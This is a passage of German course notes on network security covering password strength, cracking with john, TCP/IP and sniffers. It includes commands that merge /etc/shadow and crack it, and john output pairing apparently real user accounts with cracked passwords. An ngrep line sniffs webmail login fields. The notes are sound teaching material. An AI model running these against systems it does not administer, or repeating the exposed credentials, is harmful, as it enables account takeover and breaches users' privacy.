RechnernetzeII
I. Grundlagen der Vernetzung
1.1 Verkabelung
1.2. Netzwerkadapter
1.3. CSMA/CD
2.1. Apple Talk
2.2. Netware Protokolle
2.3. NetBEUI
2.4. TCP/IP
3.1. SMTP
3.2. POP3
3.3. NNTP
3.4. Telnet
3.5. SSH
3.6. FTP
3.7. HTTP
3.8. IMAP
3.9. Was sind Ports?
3.10. Wer darf Mails abliefern?
II. Sicherheit in Computernetzen
4. Benutzer
4.2. Passwörter auf Client-Rechnern
5.1 Programme zur Überwachung des Datenverkehrs
5.2. Ethernet, die Netzwerkschicht
5.3. IP
5.4. ARP/RARP
5.5. ICMP
5.6. UDP
5.7. TCP
6.1. OS Fingerprinting
6.3. Nmap
7. Paketfilter zum Absichern von Rechnern
7.1. Iptables
7.2. Masquerading
7.3. Firewalling
7.6. Accounting Rule
7.7. Logging-Rule
7.8. Limits
8.1. Warum erfolgen Angriffe auf private PC?
8.2. Ausführen von eingeschleustem Code
8.3 Buffer overflows
III. Rechner im Netz – Netze im Rechner
9. Installation und Betrieb von Rechnernetzen
9.1. Emulatoren
9.2 Einrichten von vielen Rechnern
10. Anwendungen über das Netz – Remote Desktops
10.1 X11
10.2 Virtual Network Computing (VNC)
10.3 Nomachine NX
10.4 Microsofts Remote Desktop Protocol
II. Sicherheit in Computernetzen
Im Zusammenhang mit der stärkeren Vernetzung von Computern und der besseren Anbindung an das Internet spielt das Thema Sicherheit eine immer größere Rolle. Ein Rechner, der über Modem eine Stunde pro Tag ans Internet angeschlossen ist, wird einen Angreifer wenig interessieren. Wenn der gleiche Rechner aber per DSL nahezu 24 Stunden am Tag im Netz ist, dann wird er schon deutlich interessanter.
Selbst wenn der Rechner selber keine interessanten Daten bietet, so lässt er sich doch als Zombie für Angriffe auf andere Rechner nutzen. Richtig interessant für einen Angriff sind die Server in Computernetzen, da sie in der Regel über entsprechende Ressourcen verfügen.
Leider ist Sicherheit als Zustand im Zusammenhang mit Computern unmöglich. Ständig werden neue Fehler in den Protokollen und der Software entdeckt. Deshalb müssen alle Komponenten ständig aktualisiert werden, um bekannte Probleme zu beseitigen. Leider verlassen sich gerade die Besitzer von Computern mit bequemen grafischen Benutzeroberflächen auf die Versprechungen der Hersteller und unterlassen die notwendigen Updates.
Die Angriffsmöglichkeiten lassen sich folgendermaßen unterteilen.
- Benutzer
- Verbindung
- Rechner
4. Benutzer
Der größte Schwachpunkt in jedem System ist der Benutzer. Er muss sich meist einen Benutzernamen und ein Passwort merken. Die meisten Benutzer sind daher geneigt sehr einfache oder gar triviale Passworte zu verwenden, weil diese dann einfach zu merken sind. Wenn man die Benutzer zwingt, bessere Passworte zu verwenden, dann werden diese oft notiert und diese Notizen nicht sicher verwahrt, z.B. unter der Tastatur. Der sichere Umgang mit Passworten ist kein alleiniges Computerthema, sondern tritt auch z.B. im Zusammenhang mit Kreditkarten auf.
Neben diesen menschlichen Schwächen gibt es auch eine Vielzahl von technischen Schwächen. Viele Systeme benötigen Passworte und legen diese „verschlüsselt“ ab. Oft ist diese Verschlüsselung zu schwach, dass sie leicht zu brechen ist. Böse Beispiele sind hier Windows9x und Netscape Messenger.
Generell ist jedes System unsicher, das Passwörter auf einem Client-Rechner speichert.
4.1. Schwache Passwörter
Passwörter in Unix-Systemen können normalerweise noch nicht einmal die Systemverwalter ermitteln, weil die Passwörter nur verschlüsselt abgelegt sind. Die zugehörige Verschlüsselungsfunktion ist eine Einweg-Funktion, die kein Entschlüsseln vorsieht. Meldet sich ein Benutzer am System an, dann verschlüsselt Unix dieses Passwort und vergleicht es mit der in der Shadow-Datei abgelegten Version. Eine Entschlüsselung ist also nicht notwendig.
Es gibt trotzdem theoretisch ein einfaches Verfahren, die Passwörter zu knacken, man probiert einfach alle Möglichkeiten durch. Der Aufwand hierfür hängt sehr von der Passwortlänge ab, wie die folgende Tabelle zeigt. Diese Tabelle geht davon aus, dass 62 verschiedene Zeichen zur Verfügung stehen, die 26 lateinischen Buchstaben einmal klein, einmal groß und die zehn Ziffern. Weiter geht die Berechnung davon aus, dass man 10 Millionen Kennwörter pro Sekunde überprüfen kann.
Passwortlänge | Zahl der möglichen Passwörter | Zeitbedarf zum Knacken |
---|---|---|
1 | 62 | keiner |
2 | 3844 | keiner |
3 | 238.328 | keiner |
4 | 14.776.336 | 1,4 Sekunden |
5 | 916.132.832 | 1,5 Minuten |
6 | 56.800.235.584 | 1,5 Stunden |
7 | 3.521.614.606.208 | 4 Tage |
8 | 218.340.105.584.896 | 8 Monate |
9 | 13.537.086.546.263.552 | 43 Jahre |
10 | 839.299.365.868.340.224 | 2660 Jahre |
Tabelle 1: Sicherheit in Abhängigkeit von der Passwortlänge
Die Sicherheit eines Passwortes ist aber nicht nur von seiner Länge, sondern auch vom verwendeten Zeichensatz stark abhängig. Die folgende Tabelle geht von einer einheitlichen Passwortlänge von 8 Zeichen aus, wobei wieder 10 Millionen Passwörter pro Sekunde geprüft werden.
Zeichensatz | Zeichenzahl | Zahl der möglichen Passwörter | Zeitbedarf zum Knacken |
---|---|---|---|
8-Bit ASCII | 256 | 18.446.744.073.709.551.616 | 58.500 Jahre |
7-Bit ASCII | 128 | 72.057.594.037.927.936 | 228 Jahre |
Buchstaben und Ziffern | 62 | 218.340.105.584.896 | 8 Monate |
Nur Buchstaben | 52 | 53.459.728.531.456 | 62 Tage |
Nur Kleinbuchstaben | 26 | 208.827.064.576 | 6 Stunden |
Wörter aus Wörterbuch | - | ca. 800.000 | keiner |
Tabelle 2: Sicherheit in Abhängigkeit vom Zeichensatz bei jeweils 8 Zeichen
Da viele Benutzer Passwörter mit deutlich weniger als acht Zeichen benutzen, gibt es eine durchaus realistische Chance, diese Passworte zu knacken. Die Chance erhöht sich noch dadurch, dass man eigentlich nicht alle Kombinationen durchprobieren muss. Viele Leute benutzen Namen, Telefonnummern oder Ähnliches, einfach weil diese leichter zu merken sind.
Selbst bei einer Passwortlänge von acht Zeichen kann man daher in wenigen Minuten zum Erfolg kommen, wenn man ein Wörterbuch als Grundlage für Ihre Knackversuche nimmt.
Man kann damit zwar nicht die Passwörter aller Benutzer knacken, aber 50% innerhalb von wenigen Minuten sind ein durchaus realistischer Wert.
Hinweis: Schon ein einzelner geknackter Zugang ist ein Sicherheitsrisiko. Wer erst einmal Zugang zum System hat, kann dort nach weiteren Schwachpunkten suchen. |
Man sollte daher regelmäßig versuchen, die Passwörter Ihrer Benutzer zu knacken, um wenigsten die unsichersten Kandidaten zu ermahnen. Beim Knacken und beim Ermahnen der Benutzer kann das Programm john helfen, das auf vielen Linux-Servern zu finden ist.
Nach der Installation liegt das Programm unter /usr/sbin/john und seine Komponenten unter
/var/lib/john/. Das Programm kann mit einem Wörterbuch arbeiten, es liefert auch eine englische Version mit. Man müsste hier erst ein deutsches Wörterbuch erstellen. Hinweise dazu finden sich im Verzeichnis /usr/share/doc/packages/john/.
Dieser Aufwand ist eigentlich unnötig, meist langt es sogar, mit den Daten in den Benutzerdateien zu arbeiten. Damit kann man die Passwörter knacken, die aus Namen oder Variationen davon bestehen.
Zuerst wechselt man in das Verzeichnis /var/lib/john/.
cd /var/lib/john
Nun soll john aus passwd und shadow eine einheitliche Datei montieren, im Beispiel heißt sie passwd.john:
unshadow /etc/passwd /etc/shadow > passwd.john
Mit den Daten aus dieser Datei lässt man john nun arbeiten, es ist erstaunlich, wieviele Passwörter er so ermittelt.
john -single passwd.john
Mit diesem Befehl nutzt john nur die Benutzerdatenbank als Grundlage, keines der zusätzlich verfügbaren Wörterbücher. Wenn bereits viele Benutzer vorhanden sind, dann dauert das Knacken schon eine Weile. Wenn man den Fortschritt kontrollieren will, drückt man einmal die Leertaste, worauf john den aktuellen Stand anzeigt.
Loaded 1037 passwords with 426 different salts (Standard DES [24/32 4K]) Burak (bs1002) laura (lc1001) sandra (kj1002) laura (lt1002) christi (sw1002) gast0 (gast) ahmad-fa (ak1005) ann-kath (ag1005) wolf-die (wm1004) walter (ja1001) guesses: 10 time: 0:00:00:05 71% c/s: 370569 trying: &tc3001& - *j5c*
Hier hat john nach knapp 5 Sekunden bereits 10 von etwa 1000 Passwörtern geknackt. Bei dem Datenbestand aus dem Beispiel hatte john nach knapp 2 Minuten bereits mehr als 70 Passwörter geknackt und das im einfachsten Modus.
Man kann john übrigens jederzeit unterbrechen, bei einem Neustart setzt er seine Arbeit an der gleichen Stelle fort. Die bereit geknackten Passwörter hält er in der Datei john.pot fest. Falls man erneut alle Passwörter testen will, muss man diese Datei vorher löschen.
Wer sich ausführlicher mit der Dokumentation von john beschäftigt, der wird noch mehr Möglichkeiten finden, um weitere Passwörter zu knacken. Eventuell veranlasst einen die Erfahrung ja sogar dazu, die eigenen Passwörter zu ändern. Man muss sich und auch seinen Benutzern immer wieder klar machen, dass Sicherheit kein Zustand ist, sondern ein anstrengender Prozess. Ein Baustein zu diesem Prozess ist u.a. die Wahl geeigneter Passwörter.
4.2. Passwörter auf Client-Rechnern
Viele Programme benötigen für Ihre Arbeit einen Benutzernamen und ein Passwort. Jeder E-Mail Client, ein FTP-Programm, sie alle benötigen die Daten des jeweiligen Benutzers. Um diesem die Arbeit möglichst einfach zu machen, bieten sie an, die Passworte zu speichern. Hier ein Dialogfenster, in dem der MS Internet-Explorer anbietet die Anmeldedaten für eine geschützte Website zu speichern. Kaum jemand macht sich ernsthaft Gedanken darüber, was mit diesen Daten geschieht. Sicherlich wird der Internet-Explorer diese Daten irgendwie in einem nicht lesbaren Format abspeichern. Sicher könnten die Daten aber nur abgelegt werden, wenn sie über ein zusätzliches Passwort des Benutzers verschlüsselt werden. Was die Software so machen kann, ist keine sichere Verschlüsselung, da ja Verfahren und Passwort zum Entschlüsseln dem Programm bekannt sind. Jeder Benutzer, der Zugriff auf den Rechner hat kann diese Daten nutzen.
Einen ähnlichen „Service“ bieten die meisten FTP- und Mailprogramme. Manche Programme legen das Passwort sogar dann ab, wenn der Benutzer dies nicht wünscht.
5. TCP/IP-Verbindungen
Im Prinzip gibt es für die Vernetzung von Computern eine Vielzahl von sehr unterschiedlichen Protokollen. In den letzten Jahren hat sich aber die Protokollfamilie TCP/IP als Standard durchgesetzt, im Zusammenhang mit dem Siegeszug des Internet. Jede Datenübertragung ist ein Risiko, wenn die Möglichkeit besteht, den Datenstrom zu belauschen. Bei TCP/IP ist das Risiko recht hoch, da es für sehr große, z.T. weltweite Netze ausgelegt ist und der Nutzer kaum den Weg seiner Daten beeinflussen kann bzw. ihn meistens noch nicht einmal kennt.
Der Aufbau der TCP/IP-Protokoll-Familie entspricht nicht ganz dem OSI-Modell, es sind hier einige Ebenen zusammengefasst.
Zur eigentlichen Protokoll-Familie gehören:
- TCP
- Das Transmission Control Protocol ist das bekannteste Protokoll auf dieser Ebene. Es setzt auf IP auf und ist verbindungsorientiert. Bevor mit der eigentlichen Datenübertragung begonnen wird, wird zunächst eine Verbindung zum Empfänger aufgebaut. Dann erst werden die Datenpakete abgeschickt und vom Empfänger quittiert. Bleibt diese Empfangsbestätigung aus, so wird das entsprechende Paket erneut versandt. Hierdurch wird sichergestellt, dass die Datenpakete in der richtigen Reihenfolge und vollständig beim Empfänger ankommen. Die Reihenfolge kann beim Versand verändert werden, da IP sich für jedes Paket einen anderen Weg durchs Netz suchen kann, mit eventuell unterschiedlichen Laufzeiten.
- UDP
- Beim User Datagramm Protocol handelt es sich um ein verbindungsloses Protokoll. Es dienst zum Übertragen von kurzen Nachrichten. Eine Nameserver-Anfrage gehört zu den Dingen, die über UDP abgewickelt werden. Wenn keine Antwort kommt, dann wird einfache eine neue Anfrage gestellt, eventuell an einen anderen Nameserver. Auch Streaming-Video und Netzwerkspiele arbeiten oft mit UDP, dabei geht es vor allem um die höhere Performance. Außerdem ist es hier nicht weiter tragisch bzw. sowieso nicht reparabel, wenn ein Datenpaket verloren ist.
- IP
- Grundlage ist das Protokoll Internet Protocol. Es handelt sich hierbei um ein verbindungsloses Protokoll, das keinerlei Mechanismen zur Sicherung der Datenübertragung enthält.Zu den Aufgaben von IP gehört die Adressierung der Datenpakete. Dazu dient die IP-Adresse, die aus einer 4-Byte-Zahl besteht und auf die in einem gesonderten Kapitel eingegangen wird. Eine weitere Aufgabe von IP ist das Aufteilen der Daten in Pakete, die von der darunter liegenden Schicht (z.B. Ethernet) übertragen werden können, sowie das korrekte Zusammensetzen der übertragenen Pakete beim Empfänger.
- ICMP
- Das Internet Control Message Protocol dient zum Transport von Fehler- und Diagnosemeldungen im Netz. Versucht ein Rechner auf einen Port zuzugreifen, der nicht belegt ist, so wird die Fehlermeldung „Port unreachable“ per ICMP zurückgeschickt. Auch Routing-Informationen und der bekannte Ping werden über ICMP weitergeleitet.
- ARP
- Über das Address Resolution Protocol erfolgt die Zuordnung zwischen MAC-Adresse und IP.
- RARP
- Das Reverse Address Resolution Protocol dient dazu, zu einer MAC-Adresse die zugehörige IP-Adresse zu ermitteln.
Das Zusammenspiel der einzelnen Protokolle ergibt sich aus der folgenden Abbildung.
Die Protokolle ARP und RARP passen eigentlich nicht auf die gleiche Ebene wie IP und ICMP, da sie von diesen benötigt werden. Manche Darstellungen legen sie zwischen Netzwerkschicht und Internet-Schicht.
Beim Durchlaufen des Protokollstapels in Richtung Netzwerk-Schicht werden die Datenpakete immer größer, da jedes Protokoll einen spezifischen Header hinzufügt.
5.1. Programme zur Überwachung des Datenverkehrs
Für eine eingehende Beschäftigung mit der TCP/IP Protokollfamilie benötigt man Tools bzw. Programme zur Erzeugung von Datenpaketen und Programme zu Anzeige bzw. Filterung von Datenpaketen (Sniffer).
5.1.1. TCPDUMP
Dieses Programm ist eines der bekanntesten Snifferprogramme und wird bei den meisten Linux-Distributionen mit ausgeliefert. Die Möglichkeiten von tcpdump sind sehr umfangreich, deshalb hier nur ein paar mögliche Anwendungen:
tcpdump -i eth0 'ether proto \arp'
protokolliert alle Datenpakete auf dem Interface eth0, mit dem Protokoll arp. Tcpdump gibt die Pakete nicht einfach so aus, wie sie übers Netz kommen, sondern interpretiert sie.
12:41:07.640057 arp who-has boss.hsan.hh.schule.de (28:ca:4:8:1d:0) tell hh1-2.hsan.hh.schule.de 12:41:07.773440 arp reply boss.hsan.hh.schule.de is-at 0:0:e2:18:7c:bd
Will man die Pakete als solche auswerten, so macht es Sinn diese in eine Datei zu leiten, da nicht alle Zeichen darstellbar sein dürften.
tcpdump -i eth0 -w sniff.txt 'ether proto \arp'
Leitet die Pakete in die Datei sniff.txt um. Diese Datei kann man dann mit einem beliebigen Hex-Editor betrachten. Ein dafür vollkommen ausreichendes Werkzeug dafür ist der mc, der Midnight Commander. Dort führt man den Leuchtbalken auf die Datei sniff.txt und drückt F3 (Anzeige). Innerhalb des Anzeige-Programmes kann man dann mit F4 in den Hex-Modus umschalten, was folgende Darstellung ergibt.
Tcpdump kann auch eine Aufzeichnung interpretieren, zur Angabe des Dateinamens dient dann der Schalter -r.
tcpdump -X -n -r sniff.txt
Der Schalter -X bewirkt, dass sowohl die interpretierten Daten, als auch die rohen Daten angezeigt werden. Mit -n wird die Namensauflösung unterdrückt, so dass Tcpdump nur IP-Adressen anzeigt und nicht die Namen.
07:44:46.526170 arp who-has 192.168.1.56 tell 192.168.1.1 0x0000 0001 0800 0604 0001 0000 e218 7cbd c0a8 ............|... 0x0010 0101 0000 0000 0000 c0a8 0138 ...........8 07:44:46.526349 arp reply 192.168.1.56 is-at 0:50:bf:58:56:fd 0x0000 0001 0800 0604 0002 0050 bf58 56fd c0a8 .........P.XV... 0x0010 0138 0000 e218 7cbd c0a8 0101 2020 2020 .8....|......... 0x0020 2020 2020 2020 2020 2020 2020 2020 ..............
Das Programm erlaubt eine sehr einfache Analyse der Daten auf dem Netzwerk
5.1.2.Wireshark (bzw. ethereal)
Die Arbeit mit tcpdump ist sehr nützlich, gelegentlich aber auch etwas mühsam. Deutlich einfacher wird die Arbeit mit dem grafischen Frontend wireshark. Das Programm benötigt natürlich root-Rechte, weswegen es unter z.B. KDE am einfachsten über
kdesu wireshark
aufgerufen wird über den Menüpunkt Befehl ausführen, oder aus einer Shell heraus.
Die wichtigsten Einstellungen nimmt man im Menü Capture -> Start vor. Hier geht es um etwa die gleichen Angaben wie bei tcpdump. Wichtig ist hier aber noch der Schalter Update list of packets in real time. Damit kann man erreichen, das die Datenpakete schon während des Sniffens aktuell angezeigt werden. Ansonsten würde dies erst beim Beenden des Programms erfolgen.
Im oberen Teil des Fensters sieht man die von tcpdump bekannte Interpretation der Daten. Im mittleren Bereich eine Zuordnung zur Paketebene und im unteren Teil die Rohdaten. Klick man im mittleren Teil eine Zeile an, dann werden unten die zugehörigen Datenbytes markiert.
5.1.3. ngrep
Es gibt viele mit tcpdump ähnliche Programme unter Linux, wie z.B. ngrep ein Sniffer-Programm mit Suchmustern wie bei grep. Dieses Programm ist bei der SuSE-Distribution dabei. Ein typischer Aufruf sieht folgendermaßen aus:
ngrep -d eth0 -i "rv_uname | rv_passwd"
Mit diesem Aufruf sucht ngrep in den Datenpaketen auf eth0 nach den Schlüsselwörtern rv_uname bzw. rv_passwd, die bei der Webmail-Anmeldung von Web.de auftauchen. Ngrep zeigt dann nur Datenpakete mit Treffern an.
5.1.4. Spak
Das Programmpaket Spak dient dazu, Datenpakete nach Wunsch zu erzeugen. Das Programm ist inzwischen etwas überholt und die ursprüngliche Seite nicht mehr erreichbar, die Quellen von ftp://sunsite.unc.edu/pub/Linux/system/network/misc/spak-0.6b.tar.gz ließen sich bei mir nicht compilieren, es gibt aber ein rpm-Paket über http://www.filewatcher.com/m/spak-0.6b-1.i386.rpm.52586.0.0.html, das auch auf aktuellen Systemen zu installieren ist. Das Paket besteht aus den einzelnen Programmen (jeweils im Verzeichnis /usr/bin):
- sendpacket, sendeth
- makeudp, maketcp
- makeip, makeeth, makearp
Für jedes der Programme bekommt man eine kurze Anleitung, wenn man es mit dem Schalter -h aufruft. Eine weitere Informationsquelle findet sich unter /usr/doc/spak-0.6b/README.
Die Programme arbeiten jeweils nur auf einer der Protokollebenen. Zum gezielten Versenden eines Datenpaketes muss man immer mehrere der Programme nacheinander aufrufen, wie in dem folgenden Beispiel.
#!/bin/sh #File : arp #Purpose: Create and send an ARP request. #Location of programs used MAKEETH=/usr/bin/makeeth MAKEARP=/usr/bin/makearp SENDETH=/usr/bin/sendeth SRC=192.168.1.2 DST=192.168.1.1 SRC_MAC=00:20:AF:F7:56:42 $MAKEARP -op 1 -di $DST -si $SRC -sm $SRC_MAC | $MAKEETH -s $SRC_MAC -i - -t 0x806 | $SENDETH -i -
Hier wird zuerst ein ARP-Paket erzeugt. Der Schalter -op 1 legt fest, dass es sich um ein ARP-Request handelt, -sm die MAC-Adresse der Quelle, -di die gesuchte IP-Adresse und -si die IP-Adresse des Absenders.
Das ARP-Paket wird jetzt noch in einen Ethernetframe verpackt, hier gibt -s die MAC-Adresse des Absenders an, -t den Ethernet-Typ und -i legt fest, aus welcher Datei die Eingabedaten genommen werden. Steht hier statt eines Dateinamens nur „-„, dann wird die Standardeingabe benutzt.
Zuletzt geht das Datenpaket an das Programm sendeth, was für den eigentlichen Versand zuständig ist. Auch hier legt -i die Eingabedatei fest. Für sendeth sind noch die Schalter -v und -vv interessant, die Informationen über das verschickte Datenpaket an der Konsole ausgeben.
Für ein normales Datenpaket ist der Ablauf:
Datei mit Daten -> maketcp -> makeip -> sendpacket
Damit steht der Konstruktion (nahezu) beliebiger Datenpakete nichts mehr im Weg.
5.2. Ethernet, die Netzwerkschicht
Grundlage für die meisten Netzwerke dürfte Ethernet sein, da die zugehörigen Komponenten sehr preiswert sind und sehr hohe Datenübertragungsraten erlauben. Jedes aktive Netzwerkgerät im Ethernet verfügt über eine individuelle MAC-Adresse. Bei der MAC-Adresse (Media Access Control) einer Netzwerkkarte handelt es sich um eine fest eingebrannte 6-Byte lange Zahl, die meistens hexadezimal mit Trennzeichen angegeben wird:
00:00:B4:39:05:66
Die ersten drei Bytes geben den Hersteller an, in diesem Fall die Firma Edimax (00:00:B4), die letzten drei Bytes werden vom jeweiligen Hersteller fortlaufend vergeben. Mit diesem System ist gewährleistet, dass die MAC-Adresse jeweils weltweit eindeutig bleibt.
5.2.1. Ethernetframe
Zum Versand werden alle Datenpakete in Ethernet-Frames verpackt, um dann über die Leitung versandt zu werden.
Die Felder haben folgende Bedeutung:
- Zieladresse (6 Byte)
- MAC-Adresse des Empfängers
- Quelladresse (6 Byte)
- MAC-Adresse des Senders
- Type (2 Byte)
-
- 0800 IP-Protokoll
- 0806 ARP-Protokoll
- Daten (variabel)
- die eigentlichen Daten mit mindestens 46 Byte und höchstens 1500 Byte.
- CRC (4Byte)
- Eine Prüfsumme, Cyclic Redundancy Check, über das gesamte Datenpaket. Ein Paket mit fehlerhafter Prüfsumme wird immer verworfen.
5.3. IP
Das Internet Protokoll (IP) packt den Datenstrom, den es aus der Transportschicht bekommt in neue Pakete, die aber mit den logischen IP-Adressen versehen sind, statt mit den physikalischen Netzadressen. Die interne Struktur eines solchen Datagramms (Paketes) ist in der folgenden Graphik dargestellt.
Die Felder haben folgende Bedeutung:
- Version (4Bit)
-
- 4 bei IPv4
- 6 bei IPv6
- Länge des Headers (4 Bit)
- Länge des IP-Headers in 32 Bit-Worten. Falls keine Optionen gesetzt sind, ist der Wert 5, ansonsten entsprechend mehr. Der Wert kann maximal 15 betragen, dann hat der Header eine Länge von 60 Byte.
- Type of Service TOS (8 Bit)
- Flags zur Steuerung der Zuverlässigkeit und der Priorität. Hier sind hier verschiedene Kombinationen aus Zuverlässigkeit und Geschwindigkeit möglich. In der Praxis wird dieses Feld aber ignoriert, hat also den Wert 0. Das Feld selbst hat den folgenden Aufbau:
- Precedence (Bits 0-2)
- gibt die Priorität von 0 (normal) bis 7 (Steuerungspaket) an. Die drei Flags (D,T,R) ermöglichen es dem Absender anzugeben, worauf er bei der Datenübertragung am meisten Wert legt: Verzögerung (Delay - D), Durchsatz (Throughput - T), Zuverlässigkeit (Reliability - R). Die beiden anderen Bits sind reserviert bzw. nicht benutzt.
- Gesamtlänge (16 Bit)
- Gesamte Länge des Paketes in Byte, inklusive Header und Daten. Die Paketgröße ist damit auf 65535 Bytes beschränkt. Das ist weit über der üblichen Paketgröße, 576 Byte muss jedes System verkraften, üblich sind 1500 Byte im Ethernet.
- Identifikation (16 Bit)
- Jedes Datenpaket trägt eine eindeutige Identifikationsnummer, über die der Empfänger feststellen kann, welche Datenpakete zusammen gehören. Unter Fragmentierung von Datagrammen ist zu verstehen, dass einzelne Datagramme, die durch Gateways in unterschiedliche Netze geroutet werden, dort oft unterschiedlichen Größenbestimmungen unterliegen. IP fragmentiert solche Datagramme und baut sie wieder zusammen. Fragmente eines Datagrammes tragen alle die gleiche Identifikationsnummer.
- Flags (3Bit)
- Diese Bits dienen zur Steuerung der Fragmentierung:
- Bit1 unbenutzt
- Bit2 DF Mit dem DF-Bit wird signalisiert, dass das Datagramm nicht fragmentiert werden darf. Auch dann nicht, wenn das Paket dann evtl. nicht mehr weiter transportiert werden kann und verworfen werden muss. Alle Hosts müssen, mindestens Fragemente bzw. Datengramme mit einer Größe von 576 Bytes oder weniger verarbeiten können
- Bit3 MF Mit dem MF-Bit wird angezeigt, ob einem IP-Paket weitere Teilpakete nachfolgen. Dieses Bit ist bei allen Fragmenten außer dem letzten gesetzt.
- Fragment Offset (13 Bit)
- Dieses Feld enthält die Information, an welcher Stelle des Datagrammes das Fragment ursprünglich war. Mit Hilfe dieser Angabe kann der Zielrechner das Datenpaket wieder aus den Fragmenten zusammensetzen. Da dieses Feld nur 13 Bit groß ist, können maximal 8192 Fragmente pro Datengramm erstellt werden. Alle Fragmente, außer dem letzten, müssen ein Vielfaches von 8 Byte als Länge besitzen.
- Lebenszeit (8Bit)
- Die Lebenszeit oder Time to live (TTL) gibt eine maximale Lebendauer in Sekunden für ein Datenpaket vor. Bei Routing-Problemen könnte ein Paket sonst endlos im Netz herumwandern. So wird es spätestens nach 255 Stationen verworfen, da jeder Router dieses Feld um mindestens eine Einheit verringert.
- Protokoll (8Bit)
- Gibt die Nummer des Protokolls auf der Transportschicht an. Die Zahlen sind auf Unix-Systemen in der Datei /etc/protocols zu finden, u.a.
- 1 ICMP
- 6 TCP
- 17 UDP
- Kopf-Prüfsumme (16 Bit)
- Prüfsumme über den Inhalt des Headers, nicht der Daten. Die Prüfsumme muss in jedem Netzknoten neu berechnet werden, das sich jeweils die TTL verringert. Berechnet wird das 1er Komplement über die 16 Bit-Wörter. Ausgangswert ist Null.
- Quelladresse (32 Bit)
- IP-Adresse des Absenders
- Zieladresse (32 Bit)
- IP-Adresse des Empfängers
- Optionen und Füllung (variabel)
- Über dieses Feld ist der IP-Header erweiterbar gehalten worden. Das Feld besitzt eine variable Länge und wird durch die Füllung auf ein Vielfaches von 4 Byte aufgefüllt. Die bisher üblichen Optionen haben meist mit Debugging und Routenüberprüfung zu tun.
5.3.1. TTL und Betriebssystem
Die TTL eines Datenpaketes lässt gewisse Rückschlüsse auf das Betriebssystem des sendenden Rechners zu, wobei sich die Werte teilweise sogar zwischen TCP und UDP unterscheiden:
Linux | 64
|
64
|
FreeBSD | 64
|
64
|
AIX | 60
|
30
|
Wind95 | 32
|
32
|
WindNT 4/WindXP | 128
|
128
|
Solaris | 255
|
255
|
MacOS | 60
|
60
|
MacOS X |
Bei manchen Systemen, wie z.B. Linux, ist die TTL relativ fest im Quelltext des Betriebssystems eingetragen. Bei Wind95 dagegen ist der Wert über die Registry veränderbar. Dazu startet man das Programm regedit.exe und geht dann zum Schlüssel Hkey_Local_Machine\System\CurrentControlSet\Services\VxD\MSTCP. Dort wählt man Bearbeiten und im Auswahlmenü Neu und legt folgende Schlüssel an:
binary value: DefaultTTL 01 00 00 00 string format: DefaultTTL 64
Nach einem Neustart des Rechners ist die TTL dann auf 64 erhöht.
5.3.2IP-Adressbereiche
Die klassischen IP-Adressen bestehen aus 32-Bit-Zahlen, die üblicherweise im dotted quad Format dargestellt werden. Die IP-Adresse 195.37.209.130 ist auf folgende Arten darstellbar:
- dotted quad: 195.37.209.130
- Dezimal-Zahl: 3274035586
- Binär-Zahl: 1100 0011 0010 0101 1101 0001 1000 0010
- Hexadezimal-Zahl: C325D182
In manchen Browsern, z.B. Opera kann man eine IP-Adresse auch in der Dezimalzahl-Darstellung eingeben.
Bei der IP-Adresse unterscheidet man üblicherweise zwei Teile, den Netzwerkteil und den Hostteil. Alle Rechner, bei denen der Netzwerkteil der Adresse übereinstimmt, liegen im gleichen Netzwerk. Hinsichtlich der Aufteilung zwischen Netzwerk- und Hostteil unterscheidet man verschiedene Klassen von Netzwerken:
- Class Aerstes Quad Netzwerk, drei Quads Host
- Class Bzwei Quads Netzwerk, zwei Quads Host
- Class Cdrei Quads Netzwerk, ein Quad Host
Es gibt also nur ganz wenige Class A Netze, die aber jeweils über sehr viele Hosts verfügen können, aber sehr viele Class C Netze, mit jeweils maximal 254 Hosts.
Es kann ganz interessant sein zu erfragen, wem eines der wenigen Class A Netze gehört, zumal manche dieser Netze auch noch weiter aufgeteilt sind.
Den Eigentümer einer IP-Adresse kann man unter Linux mit dem Kommando whois abfragen.
whois 13.0.0.0
liefert die Antwort:
OrgName: Xerox Palo Alto Research Center OrgID: XPARC Address: 3333 Coyote Hill Road City: Palo Alto StateProv: CA PostalCode: 94304 Country: US NetRange: 13.0.0.0 - 13.255.255.255 CIDR: 13.0.0.0/8 NetName: XEROX-NET NetHandle: NET-13-0-0-0-1 ...
Ein paar der Zuordnungen, angegeben jeweils nur das erste quad:
15 Hewlett-Packard Company 16 Digital Equipment Corporation 17 Apple Computer, Inc. 18 Massachusetts Institute of Technology 19 Ford Motor Company ... 53 cap debis ccs c/o Mercedes Benz AG
Es ist ein sehr erlauchter Kreis von Firmen, die eine der Adressen ergattern konnten.
Die Zahl der wirklich vorhandenen Class A Netze sinkt noch dadurch, dass viele der Bereiche noch in Subnetze aufgeteilt wurden. Die Deutsche Telekom z.B. verfügt über einen kleinen Teil des 80.x.y.z Netzes, nämlich den Bereich 80.128.0.0 – 80.146.159.255.
Da der Adressbereich für alle drei Netzwerkklassen gleich ist, unterscheiden sich die Klassen schon im Wert des ersten Quad.
Bit-->0 31 Adress Bereich: +-+----------------------------+ |0| Class A Adresse | 0.0.0.0 - 127.255.255.255 +-+----------------------------+ +-+-+--------------------------+ |1 0| Class B Adresse | 128.0.0.0 - 191.255.255.255 +-+-+--------------------------+ +-+-+-+------------------------+ |1 1 0| Class C Adresse | 192.0.0.0 - 223.255.255.255 +-+-+-+------------------------+
In jeder der Netzklassen gibt es Bereiche, die reserviert sind und für private Netze benutzt werden können. Die sind:
Class A 10.x.y.z Class B 172.16.x.y-172.31.x.y Class C 192.168.x.y
Router im Internet verwerfen Pakete, die eine dieser IP-Adressen als Sender- oder Empfänger-Adresse tragen. Damit kann es auch bei Fehlkonfigurationen im eigenen Netzwerk nicht zu Problemen kommen.
In jedem Netzwerk-Bereich gibt es noch zwei wichtige Adressen, nämlich die Netzwerk-Adresse, bei der alle Bits des Host-Teils auf 0 stehen und die Broadcast-Adresse, bei der alle Bits des Host-Teils auf 1 stehen.
Im internen Schul-Netz (192.168.54.x) ist die Netzwerk-Adresse also 192.168.54.0 und die Broadcast-Adresse 192.168.54.255. Über die Netzwerk-Adresse wird das Netzwerk als Ganzes adressiert, über die Broadcast-Adresse alle Rechner in dem Netz. Ein Ping auf die Broadcast-Adresse sollte also sehr viele Antworten bewirken.
Eine wichtige Rolle spielt auch noch die Netzwerkmaske, die angibt, welcher Teil der IP-Adresse zum Netzwerk gehört und welcher zum Host. Im Netzwerkteil sind alle Bits gesetzt, im Hostteil sind alle Bits gelöscht.
Im Schul-Netz, wie jedem Class C Netz, wäre die Netzwerkmaske also:
